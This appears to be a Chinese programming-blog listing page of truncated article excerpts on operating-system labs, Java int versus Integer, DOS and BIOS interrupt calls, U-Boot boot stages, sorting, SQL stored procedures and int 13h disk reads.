实验3主要内容是用户进程的创建,运行,销毁;从操作系统的角度来看用户进程,可以看作是动态加载可运行的程序,然后进行不断地动态切换,这里我们当然也可以从虚拟机的角度来考察操作系统——操作系统其实是在硬件上为用户进程创建虚拟机,每个虚拟机都是单独运行在整个硬件平台上的;而从用户进程看操作系统,则是固定的程序部分,并且提供硬件接口的程序。当我们需要理解该实验的内容时,可以想象一下,程序
基本数据类型int 和封装类integer的区别
1.     int是基本数据类型,仅仅代表数的范围;而integer是int的封装类,还包含了很多与数据有关的方法2.     int的默认值是0;而integer的默认值是null3.     int的变量名和数值都存储在栈内存中;而integer是引用堆内存的一个对象,变量名在栈内存,4.     int不需要实例化;integer需要实例化,实例化方法有三种:               ...
mapreduce运行的5个阶段
mapreduce shuffle运行过程
汇编 DOS的中断调用 INT 21H
DOS系统功能调用这个汇编指令是用于提供DOS系统功能调用。它是由DOS提供的一组实现特殊功能的子程序程序员在编写自己的程序时调用,以减轻编程的工作量。 分两种,DOS系统功能调用和BIOS中断调用。 链接里都是一些常用的内容,大家可以自己去百度,一定比我这里给出的全面很多,有那种DOS系统功能调用表。调用步骤大致 (1)系统功能号送到寄存器AH中; (2)入口参数送到指定的寄存器中; (3)
嵌入式系统的BootLoader技术浅析_启动过程
论文导读::嵌入式系统是以应用为中心、以计算机为基础、软硬件可裁剪。即启动过程可分为阶段1和阶段2两个部分。技术概述。 论文关键词:嵌入式系统,启动过程,BootLoader技术   一 BootLoader技术概述   嵌入式系统是以应用为中心、以计算机为基础、软硬件可裁剪,适用于系统对功能、可靠性、成本、功耗严格要求的专用计算机系统。计算机系统都具有相应的引导程序,对于嵌入式系统在执
U-Boot启动过程完全分析(uboot启动2个阶段的分析)
1.1       U-Boot工作过程   U-Boot启动内核的过程可以分为两个阶段,两个阶段的功能如下:        (1)第一阶段的功能 Ø  硬件设备初始化 Ø  加载U-Boot第二阶段代码到RAM空间 Ø  设置好栈 Ø  跳转到第二阶段代码入口        (2)第二阶段的功能 Ø  初始化本阶段使用的硬件设备 Ø  检测系统内存映射 Ø  将内核从Fla
编程实现冒泡排序
冒泡是最简单也很好理解的一种排序方式,大学C语言教科书就用这种方法,期末考试必考题之一。 每次排序将最大的值往后排,他和选择排序相似,选择是把小的数往前压。 /* 冒泡 */ #include #include int main() { int i,j,temp; int a[] = {9,8,7,6,5,4,3,2,1,0}; int len = sizeof(a)/s
将例3.13中程序中的display函数不放在Time类中(第三章第10题)
#include using namespace std; class Date; class Time {public: Time(int,int,int); friend void display(const Date &,const Time &); private: int hour; int minute; int sec; }; Time::Time(int h,int m,int
中断int指令、端口 x86汇编
导读: 介绍,第一部分介绍内中断,单步中断、 第二部分,int指令的中断以及BIOS和DOS中断服务函数 第三部分,介绍了端口 中断中断的产生有如下情况的时候会产生中断: 1. 除法错误 2. 单步执行 3. 执行into指令 4. 执行int指令 8086CPU用中断类型号来表示中断来源,一共256种中断类型号。 中断向量表在8086机器上中断向量表存放在内存地
软件测试学习笔记(二)软件测试基本技术
简单介绍然间测试过程中的基本测试技术
C语言文件的编译与执行的四个阶段并分别描述
C语言文件的编译与执行的四个阶段并分别描述 C语言的编译链接过程要把我们编写的一个c程序(源代码)转换成可以在硬件上运行的程序(可执行代码),需要进行编译和链接。编译就是把文本形式源代码翻译为机器语言形式的目标文件的过程。链接是把目标文件、操作系统的启动代码和用到的库文件进行组织形成最终生成可执行代码的过程。过程图解如下:   从图上可以看到
面试题:Integer和int的区别?在什么时候用Integer和什么时候用int
/*  * int是java提供的8种原始数据类型之一。Java为每个原始类型提供了封装类,Integer是java为int提供的封装类。int的默认值为0,  * 而Integer的默认值为null  * ,即Integer可以区分出未赋值和值为0的区别,int则无法表达出未赋值的情况,例如,要想表达出没有参加考试和考试成绩为0的区别  * ,则只能使用Integer  * 。在JSP
Sql 存储过程以及 in 子句 的一些用法总结
--1通过 exec 直接执行 declare @Month int,@Year int,@CompanyName nvarchar(50) set @Month=1 set @Year=2013 set @CompanyName='xx公司' -- 通过 exec 直接执行,字符串类型,一定要放在''' '''之间  exec(' SELECT * FROM Test
关于汇编语言中INT10中断的详细功能
关于汇编语言中INT10中断的详细功能,功能号:00H,功能:设置显示模式;功能号01H,功能:设置光标形状 ;功能号:02H,功能:用文本坐标下设置光标位置 ------
int 15h中断获取内存信息
启动分页机制之前,我们要设置页目录和页表信息,理论上,我们利用一页内存(4k)来存放页目录,用1k页(4M)来存放页表,可以表示4G的内存。但是我们的内存不一定就是固定4G的,可能是1G,512MB或者更小,而且除了要知道内存容量的大小,我们更想知道各段内存地址的type,因为编程时,属性为reserved的段不能被程序分配使用。     基于以上问题,我们在启动分页机制之前,利用0E82
中断与输入输出
输入/输出系统1、主机与外设的连接1.1、输入输出接口I/O接口是主存和外设之间的交接界面,通过接口可以实现主机和外设之间的信息交换主机和外设之间需要交换的信息:数据信息:这些信息可以是通过输入设备送到计算机的输入数据,也可以是经过计算机运算处理和加工后,送到输出设备的结果数据控制信息:这是CPU对外设的控制信息或管理命令,如外设的启动和停止指控,输入和输出操作的制定、工作方式的选择、中断功能的允
u-boot启动的两个阶段 分别对应start.S和board.c
http://blog.chinaunix.net/uid-10696433-id-2935725.html   先分析一下u-boot启动的两个阶段,分别对应start.S和board.c这两个文件。带着两个目的:一是分析一下启动的流程,二是熟悉一下汇编。     转载请注明出处,有误的地方请指正。源码基于u-boot1.1.4版本。     先看board/smsk2410/u-bo
Java类的生命周期包括哪几个阶段
一个Java类被加载到虚拟机中,它的生命周期才算开始,直到被从内存中卸载,它的生命周期才算结束。从开始到结束,它的整个生命周期包括加载、验证、准备、解析、初始化、使用和卸载7个阶段,其中验证、准备和解析3个阶段又被统称为连接。 加载 加载阶段主要完成以下三件事: 1.通过一个类的全限定名来获取此类的二进制字节流; 2.将这个二进制字节流所代表的静态存储结构转为方法区的运行时数据结构; ...
硬盘扇区读写技术,数据恢复必备
硬盘扇区读写技术,数据恢复必备,硬盘结构,数据恢复,扇区读写,int 13h
S3C2410中断分析
具体详细解释这段来自:http://hi.baidu.com/ghy0504/blog/item/db90649a0f554bbfc8eaf47a.html具体写的很详细,后面画个图对流程进行详细解释,方便自己查阅,并结合wince里面底层中断的代码分析下。S3C2410有24个外部中断引脚:EINT0~EINT23,但是对于EINT0~EINT3这4个外部中断而言,使用比较简单;对于
Size_t和int区别
size_t、ssize_t和int的区别
Bios int 中断手册查询
来源Wiki: BIOS interrupt callEmbedded BIOS User’s Manual
符号表的作用和地位
在编译程序中符号表用来存放语言程序中出现的有关标识符的属性信息,这些信息集中反映了标识符的语义特征属性。在词法分析及语法在分析过程中不断积累和更新表中的信息,并在词法分析到代码生成的各阶段,按各自的需要从表中获取不同的属性信息。不论编译策略是否分趟,符号表的作用和地位是完全一致的。   ① 收集符号属性   ② 上下文语义的合法性检查的依据   ③ 作为目标代码生成阶段地址分配的
Hadoop就业面试题
以下资料来源于互联网,很多都是面试者们去面试的时候遇到的问题,我对其中有的问题做了稍许的修改了回答了部分空白的问题,其中里面有些考题出的的确不是很好,但是也不乏有很好的题目,这些都是基于真实的面试来的,希望对即将去面试或向继续学习hadoop,大数据分析等有帮助!1.0 简要描述如何安装配置apache的一个开源hadoop,只描述即可,无需列出具体步骤,列出具体步骤更好。答:第一题:1使用root账户登录2 修改IP3 修改host主机名...
java不同数据类型在内存中的存储方式
转载自http://www.open-open.com/lib/view/open1415453057980.html 1、java的内存管理就是对象的分配和释放 分配:内存的分配是由程序完成的,程序员需要同关键字new为每个对象申请内存空间(基本类型除外),所有对象都是在堆(Heap)中分配空间。 释放:对象的释放是由垃圾回收机制决定和执行的,,这样做简化了程序员的工作,但是加重了JV
软件开发阶段及其文档简述
众所周知,软件开发是一个严格的过程,其严格性体现在哪呢?   它体现在软件开发过程中不同阶段的各个文档上,软件开发是一个文档驱动的过程,每一阶段都有不同的文档与其对应。那么软件开发到底分为几个阶段呢?每一阶段的任务又是什么呢?  软件生命周期分为六个阶段,即问题定义和规划阶段、需求分析阶段、软件设计阶段程序编码阶段、软件测试阶段和运行维护阶段。   问题定义、规划阶段:开发方、
关于int 13h的参数问题
读取软盘时候rn如果逻辑扇区为19的话rn那么是不是在盘的0磁头1磁道(一个磁道18个扇区)2扇区rnrnrn所以用int 13h的参数是rnah=02读rnal=01读一个扇区rnch=01磁道号rncl=02扇区号rndh=00磁头号rndl=00驱动器rnrn但是这样读取不了逻辑扇区19扇区是为何什么?
我们是很有底线的